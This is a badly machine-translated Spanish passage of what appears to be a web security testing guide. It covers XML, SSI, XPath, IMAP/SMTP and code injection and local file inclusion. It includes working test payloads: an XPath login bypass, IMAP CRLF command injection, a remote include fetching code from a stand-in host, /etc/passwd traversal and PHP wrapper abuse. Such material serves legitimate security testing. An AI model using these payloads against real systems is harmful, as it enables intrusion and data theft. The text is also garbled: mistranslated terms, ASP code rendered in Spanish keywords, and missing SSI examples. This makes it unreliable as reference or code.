que será posible tratar de inyectar
Datos XML y etiquetas (Tag Inyección ).
Identificar la inyección XML puntos .
Evaluar los tipos de hazañas que se pueden alcanzar y sus gravedades .

Cómo Probar
vamos suponer allá es una aplicación web usando un estilo XML comunicación en orden a llevar a
cabo usuario registro . Este
esta hecho por crear y agregar un nuevo usuario > nodo en un archivo xmlDb .
vamos supongamos que el archivo xmlDB es como el siguiente :
<? XML versión ="1.0" codificación ="ISO-8859-1"?>
< usuarios >
< usuario >
< nombre de usuario > gandalf </ nombre de usuario >
< contraseña >!c 3</ contraseña >
< ID de usuario >0</ ID de usuario >
<correo>gandalf@tierramedia.com</correo>
</usuario>
< usuario >
< nombre de usuario >Stefan0</ nombre de usuario >
< contraseña >w1s3c</ contraseña >
< id de usuario >500</ id de usuario >
<correo>Stefan0@whysec.hmm</correo>
</usuario>
</usuarios>
Cuando un usuario registros él mismo por relleno un formulario HTML , la aplicación recibe los
datos del usuario en una solicitud estándar ,
que , por el bien de sencillez , se supondrá para ser enviado como una solicitud GET .
Para ejemplo , el siguiente valores :
nombre de usuario : tony
Contraseña : Un6R34 kb!e
Correo electrónico: s4tan@hell.com
producirá la solicitud :
285
http://www.example.com/addUser.php?username=tony&password=Un6R34kb!
e&email=s4tan@hell.com
La aplicación , entonces , construye lo siguiente nodo :
< usuario >
< nombre de usuario > tony </ nombre de usuario >
< contraseña >Un6R34 kb!e </ contraseña >
<correo>s4tan@hell.com</correo>
</usuario>
cual será añadido al xmlDB :
< usuarios >
< usuario >
</usuario>
< usuario >
</usuario>
< usuario >
</usuario>
</usuarios>
Descubrimiento
El primer paso en orden. para probar un solicitud por la presencia de una inyección XML
vulnerabilidad consiste de intentando a insertar
Metacaracteres XML .
Los metacaracteres XML son:
Comilla simple : ' - Cuando no desinfectado , esto personaje podría tirar un excepción durante el
análisis XML , si el inyectado
valor es yendo formar parte de un atributo valor en una etiqueta.
como un ejemplo , vamos suponer allá es el siguiente atributo :
< nodo atributo ='$ valorentrada '/>
Así que si :
valordeentrada = foo '
es instanciado y luego es insertado como atributo valor :
< nodo atributo =' foo ''/>
luego , el documento XML resultante es no Bueno formado .
286
Doble cita : "- esto el personaje tiene el mismo es decir , como comilla simple y puede ser usado si
el atributo valor
es encerrado en doble citas .
< nodo atributo ="$ valordeentrada "/>
Así que si :
$ valorentrada = foo "
la sustitución da :
< nodo atributo =" foo ""/>
y el documento XML resultante es inválido .
Paréntesis angulares : > y < - Por añadiendo un abierto o paréntesis angular cerrado en una
entrada del usuario como el
siguiente :
Nombre de usuario = foo <
la aplicación voluntad construir un nuevo nodo :
< usuario >
< nombre de usuario > foo <</ nombre de usuario >
</usuario>
pero porque de la presencia del '<' abierto, el documento XML resultante es inválido .
de comentario :  - Esto secuencia de caracteres es interpretado como el principio / fin de
un comentario . Entonces por
inyectando uno de ellos en nombre de usuario parámetro :
Nombre de usuario = foo <!- -
la aplicación voluntad construir un nodo como el siguiente :
< usuario >
< nombre de usuario > foo < ID de usuario >0</ ID de usuario ><mail>s4tan@hell.com
En este caso, la base de datos XML final es :
< usuarios >
< usuario >
</usuario>
< usuario >
</usuario>
< usuario >
< contraseña >Un6R34 kb!e </ contraseña >< ID de usuario >0</ ID de usuario ><mail>s4tan@hell.com</mail>
</usuario>
</usuarios>
ID de usuario original el nodo ha sido comentó fuera , saliendo solo el inyectado uno . El
documento ahora cumple con
sus reglas DTD.

Fuente Código Revisar
La siguiente API de Java puede ser vulnerable a XXE si ellos no son configurado adecuadamente .
javax.xml.parsers.DocumentBuilder
javax.xml.parsers.DocumentBuildFactory
org.xml.sax.EntityResolver
org.dom 4j.*
javax.xml.parsers .SAXParser
javax.xml.parsers.SAXParserFactory
transformadorfábrica
Lector SAX
Ayudante de documentos
SAXConstructor
SAXParserFábrica
Fábrica de lectores XML
XMLInputFactory
fábrica de esquemas
DocumentBuilderFactoryImpl
SAXTransformerFábrica
DocumentBuilderFactoryImpl
Lector XML
Xerces : DOMParser , DOMParserImpl , SAXParser , XMLParser
Controlar fuente código si el docType , DTD externo y externo parámetro entidades se establecen
como usos prohibidos .
291
XML externo Prevención de la entidad (XXE) Engañar Hoja
Además , el lector de oficina Java POI puede ser vulnerable a XXE si la versión es bajo 3.10.1.
La versión La biblioteca de puntos de interés se puede identificar por el nombre del archivo. del
JAR. Para ejemplo ,
poi-3.8.jar
poi-ooxml-3.8.jar
Los siguientes fuente código palabra clave puede aplicar a C.
libxml2:
xmlCtxtReadMemory,xmlCtxtUseOptions ,xmlParseInNodeContext,xmlReadDoc,xmlReadFd,xmlRe
adFile
, xmlReadIO ,xmlReadMemory , xmlCtxtReadDoc , xmlCtxtReadFd,xmlCtxtReadFile,xmlCtxtReadIO
libxerces -c: XercesDOMParser , SAXParser , SAX2XMLReader
Herramientas
Inyección XML Pelusa Cuerdas (de wfuzz herramienta )
Referencias
Inyección XML
Gregory Steuck , “XXE ( Xml externo Entidad ) ataque ”
Prevención OWASP XXE Engañar Hoja
292
Pruebas para inyección SSI
IDENTIFICACIÓN
WSTG-INPV-08
Resumen
Los servidores web normalmente dar desarrolladores la capacidad a agregar pequeño piezas de
dinámica código adentro páginas HTML estáticas , sin
teniendo para lidiar con el lado del servidor de pleno derecho o lado del cliente idiomas . Este
característica es proporcionó por el lado del servidor
Incluye ( SSI).
Lado del servidor Incluye directivas que el servidor web analiza. antes servir la página al usuario .
Ellos representar un
alternativa a escribir programas CGI o incrustar código utilizando lenguajes de scripting del lado
del servidor , cuando hay solo necesidad
a llevar a cabo Tareas muy sencillas . Implementaciones comunes de SSI proporcionar directivas
( comandos ) para incluir archivos externos , para
configurar e imprimir variables de entorno CGI del servidor web , o a ejecutar scripts CGI externos
o sistema comandos .
SSI puede conducir a un comando remoto Ejecución (RCE), sin embargo mayoría servidores web
tener la directiva ejecutiva deshabilitada por
por defecto.
Este es una vulnerabilidad muy similar a un lenguaje de programación clásico inyección

vulnerabilidad . Uno mitigación es que la web
necesidades del servidor para ser configurado a permitir SSI. En el otro mano , inyección SSI las
vulnerabilidades son a menudo más simple a explotar ,
ya que las directivas SSI son fáciles a entender y, al mismo tiempo, bastante potente , por
ejemplo , pueden generar el contenido de
archivos y ejecutar sistema comandos .
Identificar la inyección SSI puntos .
Evaluar la gravedad de la inyección .
Cómo Probar
para probar SSI explotable , inyecta directivas SSI como entrada del usuario . Si SSI está habilitado
y la validación de la entrada del usuario no se ha realizado estado
adecuadamente implementado , el servidor ejecutar la directiva. Este es muy similar a un lenguaje

de programación clásico
inyección vulnerabilidad en eso él ocurre cuando la entrada del usuario es no adecuadamente

validado y desinfectado .
Primero determine si el servidor web admite directivas SSI. A menudo , la respuesta es sí, como
soporte SSI es bastante común . A
determinar si se admiten directivas SSI , descubrir el tipo del servidor web que el objetivo está
ejecutando información
reunión técnicas ( ver Servidor web de huellas dactilares ). Si tú tener acceso al código , determine
si se utilizan directivas SSI
por buscando a través del servidor web archivos de configuración para específico palabras clave .
Otro forma de verificando que las directivas SSI estén habilitadas es por comprobación para
paginas con el . shtml extensión , que es
asociado con las directivas SSI. El uso del . shtml extensión es no obligatorio , entonces no
teniendo encontró cualquier . shtml
los archivos no significa necesariamente que el objetivo es no vulnerable a la inyección de SSI

ataques .
El siguiente paso es determinando todo lo posible vectores de entrada del usuario y pruebas a ver
si la inyección SSI es explotable .
Primero encontrar todas las paginas dónde la entrada del usuario es permitido . Posibles vectores
de entrada puede también incluir encabezados y cookies.
Determinar cómo es la entrada . almacenado y utilizado , es decir si la entrada es devuelto como

un mensaje de error o elemento de página y si él
era modificado en algunos forma . Acceso a la fuente el código puede ayudar tú para determinar
más fácilmente dónde están los vectores de entrada
son y como es la entrada manejado .
Una vez tú tener una lista de potencial inyección puntos , tu puede determinar si la entrada es
correctamente validado . Asegurar él es
posible a inyectar caracteres utilizado en directivas SSI como <!# =/."- > y [a-zA-Z0-9]
293
El siguiente ejemplo devuelve el valor de la variable. Las referencias La sección tiene enlaces útiles
con información específica del servidor .
documentación a ayuda tú mejor evaluar un sistema en particular .

Cuando usando la directiva include , si el archivo proporcionado es un script CGI, esta directiva
incluir la salida del CGI
guion. Esta directiva puede también ser usado a incluir el contenido de un archivo o enumerar
archivos en un directorio :

Para devolver la salida de un sistema dominio :

Si la aplicación es vulnerable, la directiva es inyectado y sería interpretado por el servidor la

próxima vez que la página
es servido .
Las directivas SSI también se pueden inyectar en los encabezados HTTP , si la aplicación web es
usando esos datos para construir un
dinamicamente página generada :
OBTENER / HTTP/1.1
Anfitrión: www.ejemplo.com
Referencia : 
Agente de usuario : 
Herramientas
Suite de eructo de proxy web
ZAP OWASP
Cadena buscador : grep
Referencias
Módulo Nginx SSI
Apache: Módulo mod_include
IIS: lado del servidor Incluye directivas
Tutorial de Apache: Introducción al lado del servidor Incluye
Apache: consejos de seguridad para la configuración del servidor
Inyección SSI en cambio de malware de JavaScript
IIS: Notas sobre el lado del servidor Incluye sintaxis (SSI)
Encabezamiento Basado Explotación
294
Pruebas para XPath Inyección
IDENTIFICACIÓN
WSTG-INPV-09
Resumen
XPath es un idioma eso ha sido diseñado y desarrollado ante todo a DIRECCIÓN partes de un
documento XML . En XPath
inyección probando , probamos si él es posible a inyectar XPath sintaxis en una solicitud

interpretado por la aplicación , permitiendo un
agresor a ejecutar controlado por el usuario XPath consultas . Cuando exitosamente explotado ,
este vulnerabilidad puede permitir un agresor
para omitir la autenticación mecanismos o acceso información sin adecuado autorización .

aplicaciones web uso intensivo de bases de datos para almacenar y acceder a los datos que
necesidad para su operaciones . Históricamente ,
relacional bases de datos tener estado por lejos el mas común tecnología para el almacenamiento
de datos , pero , en el último años , estamos
presenciando un creciente popularidad para bases de datos eso organizar datos utilizando el
lenguaje XML . Al igual que relacional
se accede a las bases de datos A través del lenguaje SQL , las bases de datos XML utilizan XPath
como consulta estándar . idioma .
Ya que desde un punto conceptual de ver , XPath es muy similar a SQL en su propósito y
aplicaciones , un interesante resultado
es eso XPath inyección ataques sigue lo mismo lógica como inyección SQL ataques . En algunos
aspectos , XPath es aún más
poderoso que el SQL estándar, ya que entero fuerza es ya presente en su especificaciones ,

mientras que una gran número del
técnicas que se puede utilizar en una inyección SQL ataque depender sobre las características del
dialecto SQL usado por el
base de datos de destino . Este medio eso XPath inyección Los ataques pueden ser mucho más
adaptables y ubicuos . Otro
ventaja de un XPath inyección ataque es que , a diferencia de SQL, no se aplican ACL , como
nuestro consulta puede acceder cada parte de
el documento XML .
Identificar la inyección XPATH puntos .
Cómo Probar
El XPath ataque patrón era primero publicado por Amit Klein y es muy similar a la inyección SQL
habitual . En orden a conseguir
un primero comprender del problema , imaginemos una página de inicio de sesión que gestiona la
autenticación a un aplicación en la que el
usuario debe ingresar su nombre de usuario y contraseña . vamos asumir eso nuestro base de
datos es representado por el siguiente archivo XML:
< usuarios >
< usuario >

< cuenta > administrador </ cuenta >
</usuario>
< usuario >
< cuenta > invitado </ cuenta >
</usuario>
< usuario >
< cuenta > invitado </ cuenta >
</usuario>
</usuarios>
295
Un XPath consulta eso devuelve la cuenta cuyo nombre de usuario es gandalf y la contraseña es !c
3 sería el
siguiente :
string (// usuario [ nombre de usuario / texto ( )=' gandalf ' y contraseña / texto ()='!c3']/ cuenta /
texto ())
Si la aplicación hace no adecuadamente filtrar entrada del usuario , el probador será capaz a
inyectar XPath codificar e interferir con el
consulta resultado . Para ejemplo , el probador podría ingresar lo siguiente valores :
Nombre de usuario : ' o'1 ' = '1
Contraseña : ' o '1' = '1
Parece bastante familiar, ¿no? él ? Usando estos parámetros , la consulta se convierte en :
string (// usuario [ nombre de usuario / texto ( )='' o '1' = '1' y contraseña / texto ()='' o '1' = '1']/
cuenta / texto ())
Como en una inyección SQL común ataque , nosotros tener creó una consulta eso siempre evalúa
a verdadero, que medio que el
solicitud voluntad autenticar al usuario incluso si un nombre de usuario o una contraseña tener no
estado proporcionó . Y como en un común
Inyección SQL ataque , con XPath inyección , el primer paso es a inserte una comilla simple ( ' ) en
el campo para ser probado ,
introducir un error de sintaxis en la consulta y controlar si la solicitud devoluciones un mensaje de

error .
Si allá no hay conocimiento sobre los datos XML internos detalles y si la solicitud hace no
proporcionar error útil
mensajes eso ayuda a nosotros reconstruir es interno lógica , es es posible a realizar una ciega
XPath Inyección ataque , cuyo meta
es a reconstruir toda la estructura de datos . La técnica es parecido a inferencia Inyección SQL

basada , como enfoque es
a inyectar código eso crea una consulta eso devoluciones un poco de información . Ciego XPath
Inyección es explicado con más detalle por
Amit Klein en el mencionado papel .
Referencias
Libros blancos
Amit Klein: “ Ciego XPath Inyección "
Especificaciones de XPath 1.0
296
Pruebas para inyección IMAP SMTP
IDENTIFICACIÓN
WSTG-INPV-10
Resumen
Este amenaza afecta todo aplicaciones eso comunicar con servidores de correo (IMAP/SMTP),
generalmente correo web aplicaciones .
El objetivo de esta prueba es a verificar la capacidad a inyectar comandos IMAP/SMTP arbitrarios

en los servidores de correo, debido para ingresar
datos no ser adecuadamente desinfectado .

inyección IMAP/SMTP técnica es más efectivo si el servidor de correo es no directamente accesible
desde Internet. Dónde
comunicación completa con el servidor de correo backend es posible , es es recomendado a

conducta directo pruebas .
Una inyección IMAP/SMTP marcas él posible a acceder a un servidor de correo que de lo contrario
haría no ser directamente accesible
desde Internet. En algunos casos, estos interno los sistemas no tener lo mismo nivel de
infraestructura seguridad y
endurecimiento eso es aplicado a los servidores web front-end . Por lo tanto , los resultados del
servidor de correo puede ser más vulnerable a ataques
por fin usuarios ( ver el esquema presentado en la Figura 1).
Figura 4.7.10-1: Comunicación con los servidores de correo usando la inyección IMAP/SMTP
técnica
La figura 1 muestra el flujo. de tráfico generalmente visto cuando usando correo web tecnologías .
El paso 1 y 2 es el usuario. interactuando
con el correo web cliente , mientras que el paso 2 es el probador evitando el correo web cliente e
interactuando con la parte trasera
servidores de correo directamente .
Este técnica permite una amplia variedad de acciones y ataques . Las posibilidades depender sobre
el tipo y alcance de inyección
y la tecnología del servidor de correo ser probado .
Alguno ejemplos de ataques usando la inyección IMAP/SMTP técnica son:
Explotación de vulnerabilidades en el protocolo IMAP/SMTP
Solicitud restricciones evasión
Antiautomatización proceso evasión
Información fugas
Retransmisión /SPAM
Identificar la inyección IMAP/SMTP puntos .
Comprender el flujo de datos y la implementación estructura del sistema .
297
Evaluar la inyección impactos .
Cómo Probar
Identificación de parámetros vulnerables
En orden a detectar parámetros vulnerables , el probador tiene que analizar la aplicación

capacidad para manejar la entrada. Aporte
validación pruebas requiere el probador a enviar falso , o solicitudes maliciosas al servidor y

analizar la respuesta. en un
seguro aplicación , la respuesta debe ser un error con alguno correspondiente acción diciéndole al
cliente eso algo
ha ido equivocado . En una aplicación vulnerable , el malicioso pedido puede ser procesado por el
final solicitud eso
voluntad respuesta con un mensaje de respuesta HTTP 200 OK .
Él es importante tomar nota de que las solicitudes ser enviado debe coincidir con la tecnología ser
probado . Envío de inyección SQL
instrumentos de cuerda para el servidor Microsoft SQL cuando se utiliza un servidor MySQL ser
usado voluntad dar lugar a respuestas falsamente positivas. En este caso,
enviando comandos IMAP maliciosos es modus operandi ya que IMAP es el subyacente protocolo
ser probado .
especial IMAP parámetros eso deben usarse son :
En el servidor IMAP En el servidor SMTP
Autenticación Correo electrónico del emisor
operaciones con buzones de correo ( listar , leer , crear , eliminar , renombrar ) Correo electrónico
de destino
operaciones con mensajes ( leer , copiar , mover , borrar ) Asunto
Desconexión Mensaje cuerpo
Archivos adjuntos
En esto Por ejemplo , el parámetro “ buzón ” es ser probado por manipulando todo peticiones con
el parámetro en:
http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=46106&startMessage=1
La siguiente Se pueden utilizar ejemplos .
Asignar un nulo valor al parámetro :
http://<webmail>/src/read_body.php?mailbox=&passed_id=46106&startMessage=1
Sustituir el valor con un azar valor :
http://<webmail>/src/read_body.php?mailbox=NOTEXIST&passed_id=46106&startMessage=1
Agregar otro valores al parámetro :
http://<webmail>/src/read_body.php?mailbox=PARÁMETRO DE ENTRADA
2&passed_id=46106&startMessage=1
Añadir especial no estándar caracteres (es decir: \ , ' , " , @ , # , ! , | ):
http://<webmail>/src/read_body.php?mailbox=INBOX"&passed_id=46106&startMessage=1
Eliminar el parámetro :
http://<webmail>/src/read_body.php?passed_id=46106&startMessage=1
El resultado final de los anteriores pruebas le da el probador tres posible situaciones : S1 - La

aplicación devuelve un error
código / mensaje S2 - La aplicación hace no devolver un código / mensaje de error , pero él hace
no realizar lo solicitado
operación S3 - La aplicación hace no devolver un código / mensaje de error y realiza la operación

solicitado normalmente
298
Las situaciones S1 y S2 representan Inyección IMAP/SMTP exitosa .
Un del atacante apuntar es recibir la respuesta S1, ya que es un indicador que la aplicación es
vulnerable a inyección y
más manipulación .
vamos suponer que un usuario recupera los encabezados del correo electrónico utilizando la
siguiente solicitud HTTP :
http://<webmail>/src/view_header.php?mailbox=INBOX&passed_id=46105&passed_ent_id=0
Un agresor podría modificar el valor del parámetro INBOX por inyectando el carácter " (%22
usando codificación URL ):
http://<webmail>/src/view_header.php?mailbox=INBOX%22&passed_id=46105&passed_ent_id=0
En este caso, la aplicación respuesta tal vez:
ERROR: Malo o malformado pedido .
Consulta : SELECCIONA "INBOX""
El servidor respondió: Argumentos adicionales inesperados a Seleccionar

La situación S2 es más difícil para probar con éxito . el probador necesidades usar ciego dominio
inyección en orden para determinar si
el servidor es vulnerable.
En el otro mano , la última situación (S3) es no revelador en esto párrafo .
Lista de parámetros vulnerables
Afectado funcionalidad
Tipo de posible inyección (IMAP/SMTP)
Comprender el flujo de datos y la implementación Estructura del cliente
Después de identificar todos los parámetros vulnerables ( para ejemplo , pass_id ) , el probador
necesidades para determinar qué nivel de
inyección es posible y luego diseñar un plan de pruebas para más explotar la aplicación .
En este caso de prueba, nosotros tener detectado que la aplicación ID_pasado parámetro es
vulnerable y es utilizado en el
siguiente pedido :
http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=46225&startMessage=1
Usando el siguiente caso de prueba ( proporcionando un alfabético valor cuando un numero valor
es requerido ):
http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=test&startMessage=1
voluntad generar el siguiente mensaje de error :
ERROR : Malo o malformado pedido .
Consulta : prueba FETCH : CUERPO de prueba [ENCABEZADO]
El servidor respondió: Error en el comando IMAP recibió por servidor.
En esto ejemplo , el mensaje de error devolvió el nombre de los ejecutados comando y el

correspondiente parámetros .
En otra situaciones , el mensaje de error ( no revisado por la aplicación ) contiene el nombre de los
ejecutados
comando , pero leer el RFC adecuado permite al probador a entender qué otro posible los
comandos pueden ser
ejecutado .
299
Si la aplicación hace no devolver mensajes de error descriptivos , el probador necesidades a
analizar a los afectados funcionalidad a
deducir todos los posibles comandos (y parámetros ) asociados con lo anterior mencionado
funcionalidad . Para ejemplo , si
un parámetro vulnerable ha sido detectado en la creación buzón funcionalidad , es es lógico a

asumir que el afectado
Comando IMAP es CREAR . De acuerdo a al RFC, el comando CREATE acepta uno parámetro cual
especifica el
nombre del buzón a crear .
Lista de comandos IMAP/SMTP afectado
Tipo , valor y número de parámetros esperado por los comandos IMAP/SMTP afectados
Comando IMAP/SMTP Inyección
Una vez que el evaluador ha identificado los parámetros vulnerables y ha analizado el contexto en
el que son ejecutados , el siguiente
escenario es explotando la funcionalidad .
Este El escenario tiene dos. posible resultados :
1. La inyección es posible en un no autenticado estado : el afectado funcionalidad hace no requerir

al usuario ser
autenticado . Los comandos inyectados (IMAP) disponibles son limitados a : CAPACIDAD, NOOP,
AUTENTICAR,
INICIAR SESIÓN y CERRAR SESIÓN.
2. La inyección es solo posible en un autenticado estado : el exitoso explotación requiere el

usuario estar completamente
autenticado antes las pruebas pueden continuar.
En cualquier caso, lo típico estructura de una inyección IMAP/SMTP es como sigue :
encabezado : final de lo esperado dominio ;
Cuerpo : inyección del nuevo mando ;
Pie de página : comienzo de lo esperado dominio .
Él es importante a recordar que , con el fin a ejecutar un comando IMAP/SMTP , el anterior

dominio debe ser
terminado con la secuencia CRLF (% 0d%0a) .

vamos suponer que en la Identificación de parámetros vulnerables escenario , el atacante detecta
que el parámetro id_mensaje
en el siguiente pedido es vulnerable:
http://<correo web>/read_email.php?message_id=4791
vamos suponer también que el resultado del análisis realizado en la etapa 2 (“ Comprender el flujo
de datos y
despliegue estructura del cliente ”) ha identificado el comando y los argumentos asociado con este
parámetro como:
FETCH 4791 CUERPO[ENCABEZADO]
En esto escenario , la inyección IMAP estructura sería :
http://<webmail>/read_email.php?message_id=4791 CUERPO[ENCABEZADO]%0d%0aV100
CAPACIDAD%0d%0aV101 FETCH 4791
Cual haría generar lo siguiente comandos :
???? FETCH 4791 CUERPO[ENCABEZADO]
CAPACIDAD V100
V101 FETCH 4791 CUERPO[ENCABEZADO]
dónde :
300
Encabezado = 4791 CUERPO[ENCABEZADO]
Cuerpo = %0d%0aV100 CAPACIDAD%0d%0a
Pie de página = V101 FETCH 4791
Lista de comandos IMAP/SMTP afectado
Comando IMAP/SMTP arbitrario inyección
Referencias
Libros blancos
RFC 0821 “ Protocolo simple de transferencia de correo ”
RFC 3501 “ Protocolo de acceso a mensajes de Internet - Versión 4rev1”
Vicente Aguilera Díaz: “MX Inyección : Capturando y Explotando Servidores de correo ocultos ”

301
Pruebas para Código Inyección
IDENTIFICACIÓN
WSTG-INPV-11
Resumen
Este La sección describe cómo un probador puede verificar si él es posible a ingresar código como
entrada en una página web y tener él
ejecutado por el servidor web.
En codigo Inyección prueba , un probador envía información que es procesada por el servidor web
como dinámico código o como un incluido
archivo. Estos Las pruebas pueden apuntar a varios motores de secuencias de comandos del lado
del servidor , por ejemplo , ASP o PHP. Validación de entrada adecuada y segura.
codificación practicas necesidad Ser Empleado a proteger contra estos ataques .
Identificar inyección puntos dónde puedes inyectar código en la aplicación .
Evaluar la inyección severidad .
Cómo Probar
Pruebas de caja negra
Pruebas para inyección de PHP Vulnerabilidades
Usando la cadena de consulta , el probador puede inyectar código (en este ejemplo , una URL
maliciosa ) que se procesará como parte del
archivo incluido :
http://www.example.com/uptime.php?pin=http://www.example2.com/packx1/cs.jpg?
&cmd=uname%20-a
La URL maliciosa es aceptado como parámetro para la página PHP, que voluntad luego use el valor
en un archivo incluido .
Pruebas de caja gris
Pruebas para código ASP Inyección Vulnerabilidades
Examinar el código ASP para entrada del usuario utilizada en la ejecución funciones . ¿Puede el
usuario ingresar comandos en el campo de entrada de datos ?
Aquí, el código ASP. voluntad guarde la entrada en un archivo y luego ejecutar él :

<%
Si no está vacío ( Solicitud ("Datos")) Entonces
Oscuro f so , f
' Los datos de entrada del usuario son escrito a un archivo llamado data.txt
Establecer fso = CreateObject ( " Scripting.FileSystemObject ")
Establecer f = fso.OpenTextFile ( Server.MapPath ("data.txt"), 8, Verdadero)
f.Escribir Solicitud ("Datos") y vbCrLf
f.cerrar
Establecer f = nada
Establecer fso = Nada
'Datos.txt es ejecutado
Servidor.Execute (" datos.txt")
Demás
%>
< formulario >
< nombre de entrada ="Datos" />< tipo de entrada =" enviar " nombre =" Ingresar datos" />
</ formulario >
302
<%
Fin Si
%>)))
Referencias
Enfoque de seguridad
Inseguro.org
Wikipedia
Revisando Código para inyección de sistema operativo
303
Pruebas para la inclusión de archivos locales
Resumen
inclusión del archivo vulnerabilidad permite un agresor a incluir un archivo, generalmente

explotando una “ inclusión dinámica de archivos ”
mecanismos implementado en la aplicación de destino . la vulnerabilidad ocurre pendiente al uso

de entrada proporcionada por el usuario
sin adecuado validación .
Esto puede llevar a algo como generar el contenido del archivo, pero dependiente Según la
gravedad , también puede provocar :
Código ejecución en el servidor web
Código ejecución en el lado del cliente como JavaScript , que puede conducir a otro ataques como
secuencias de comandos entre sitios
(XSS)
Negación de Servicio (DoS)
Información sensible Divulgación
Inclusión de archivos locales ( también conocido como LFI) es el proceso de incluyendo archivos
que ya están en la zona presente en el servidor,
a través de la explotación de inclusión vulnerable procedimientos implementado en la aplicación .

Este vulnerabilidad ocurre , por
Por ejemplo , cuando una página recibe , como entrada, la ruta al archivo que se debe incluir y
esta entrada es no adecuadamente
desinfectado , permitiendo directorio el recorrido caracteres ( como punto-punto- barra ) que se

inyectarán . A pesar de mayoría ejemplos punto
a scripts PHP vulnerables , nosotros debería tenga en cuenta eso él es también común en otros
tecnologías como JSP, ASP y
otros .
Cómo Probar
Dado que ocurre LFI cuando caminos aprobado a incluir las declaraciones no son adecuadamente
desinfectado , en una caja negra pruebas acercarse ,
nosotros debería buscar scripts que llevar nombres de archivos como parámetros .
Considera lo siguiente ejemplo :
http://vulnerable_host/preview.php?file=example.html
Este parece un lugar perfecto para probar LFI . Si un agresor es afortunado suficiente y en cambio
de seleccionando la página apropiada
de la matriz por es nombre , el script directamente incluye el parámetro de entrada , es posible a

incluir archivos arbitrarios en el
servidor.
Típico La prueba de concepto sería cargar el archivo passwd :
http://vulnerable_host/preview.php?file =.. /../../../etc/passwd
Si lo anterior mencionado se cumplen las condiciones , un agresor haría ver algo como el
siguiente :
raíz: x:0:0 :raíz:/ raíz :/ bin / bash
contenedor: x:1:1 :bin:/ bin :/ sbin / nologin
demonio: x:2:2 :daemon:/ sbin :/ sbin / nologin
alex: x:500:500 :alex:/home/ alex :/ bin / bash
margo: x:501:501 ::/home/margo:/ bin / bash
...
Incluso cuando tal vulnerabilidad existe , su explotación podría ser más complejo en la vida real
escenarios . Considera el
siguiente pedazo de código :
304
<? PHP incluir ($_GET['archivo'].". php ") ; ? >
Sustitución sencilla con un azar Nombre del archivo haría no funciona como postfijo . PHP es
adjunto a la entrada proporcionada . En
orden Para evitarlo , un probador puede usar varios técnicas a obtener lo esperado explotación .
Inyección de bytes nulos
el nulo personaje ( también conocido como nulo terminador o nulo byte) es un personaje de
control con el valor cero
presente en muchos conjuntos de caracteres que es ser utilizado como reservado personaje a
marca el final de una cuerda . Una vez utilizado , cualquier
personaje después de este Se ignorará el byte especial . Comúnmente la manera a inyectar este
personaje seria con la URL
codificado cadena %00 por añadiendo él a lo solicitado camino . En nuestro anterior muestra ,
realizando una solicitud a
http://vulnerable_host/preview.php?file =.. /../../../etc/passwd%00 ignoraría el archivo . PHP

extensión ser
agregado al nombre del archivo de entrada , regresando a un atacante una lista de básico usuarios
como resultado de un exitoso explotación .
Camino y punto Truncamiento
La mayoría de las instalaciones de PHP tener un nombre de archivo límite de 4096 bytes. Si
cualquier dado Nombre del archivo es más extenso que eso longitud , PHP simplemente
trunca eso , descartándolo cualquier adicional caracteres . Abusar este comportamiento marcas él
posible a hacer el motor PHP
ignora el . PHP extensión por Moviente él afuera del límite de 4096 bytes . Cuando este sucede ,
no hay ningún error motivado ; el
adicional los personajes son simplemente cayó y PHP continúa su ejecución normalmente .
Este bypass comúnmente combinarse con otro estrategias de derivación lógica como la
codificación parte de la ruta del archivo con
Codificación Unicode , introducción. de doble codificación , o cualquier otra entrada que haría aún
representar lo válido deseado
Nombre del archivo .
Envoltorios PHP
Inclusión de archivos locales las vulnerabilidades son comúnmente visto como leído solo
vulnerabilidades eso un El atacante puede utilizar para leer
datos confidenciales del servidor que aloja la aplicación vulnerable . Sin embargo , en algunos
específico implementaciones este
la vulnerabilidad se puede utilizar a actualizar el ataque de LFI a Código Remoto Ejecución

vulnerabilidades eso podría potencialmente
completamente comprometer al huésped.
Este mejora es común cuando un agresor podría ser capaz para combinar la vulnerabilidad LFI con
ciertos PHP
envoltorios .
un envoltorio es un codigo eso rodea otro código a llevar a cabo alguno agregado funcionalidad .
Implementos PHP muchos incorporado
envoltorios para ser utilizado con sistema de archivos funciones . Una vez que su uso es detectado
durante la prueba proceso de un
aplicación , es una buena práctica para tratar de abusar de ello a identificar el riesgo real de lo
detectado debilidad (es). Abajo puede
obtener una lista con la mayoria comúnmente usado envoltorios , incluso aunque tú debería
considerar eso él es no exhaustiva y en el
al mismo tiempo es posible a registro costumbre envoltorios eso si empleado por el objetivo, sería
requieren un análisis ad hoc más profundo
análisis .
Filtro PHP
Solía hacerlo acceder al sistema de archivos local ; este no distingue entre mayúsculas y
minúsculas envoltura eso proporciona la capacidad a aplicar filtros a un
corriente en el momento de abriendo un archivo. Este se puede utilizar envoltorio a conseguir

contenido de un archivo que impide que el servidor
ejecutando él . Para ejemplo , permitiendo un agresor a lee el contenido de archivos PHP a

conseguir fuente código a identificar sensible
información como credenciales o otro explotable vulnerabilidades .
El envoltorio se puede utilizar como php://filter/convert.base64-encode/resource=FILE donde

ARCHIVO es el archivo a
recuperar . Como resultado del uso de este ejecución , el contenido del archivo de destino sería
leído , codificado a base64 ( esto
es el paso que impide la ejecución del lado del servidor ), y devuelve al Usuario -Agente .
PHP ZIP
En PHP 7.2.0, el contenedor zip:// era introducido a manipular archivos comprimidos zip . Este
envoltura espera el
siguiente parámetro estructura : zip:///filename_path#internal_filename donde

nombre_archivo_ruta es el camino hacia
305
malicioso y nombre_archivo interno es el camino donde se coloca el archivo malicioso dentro del
archivo ZIP procesado .
Durante la explotación , es común que el # estaría codificado con está codificado en URL valor %
23 .
Abuso de este envoltura podría permitir un agresor a diseñar un archivo ZIP malicioso que podría
ser subido al servidor, para
ejemplo como imagen de avatar o usando cualquier archivo cargado sistema disponible en el sitio
web de destino (el contenedor php:zip ://
hace no requiere el archivo zip para tener cualquier específico extensión ) a ejecutar por la
vulnerabilidad LFI .
En orden para probar esto vulnerabilidad , lo siguiente procedimiento podría ser seguido a atacar
al anterior código ejemplo
proporcionó .
1. Cree el archivo PHP a ejecutar , por ejemplo con el contenido <? PHP phpinfo ( ); ?> y guardar
como code.php
2. Comprimir como un nuevo archivo ZIP llamado target.zip
3. Cambie el nombre del archivo target.zip a target.jpg para omitir la extensión. validación y carga
él al sitio web de destino
como tu imagen de avatar .
4. Suponiendo que el archivo target.jpg es almacenado en la zona en el servidor a la ruta

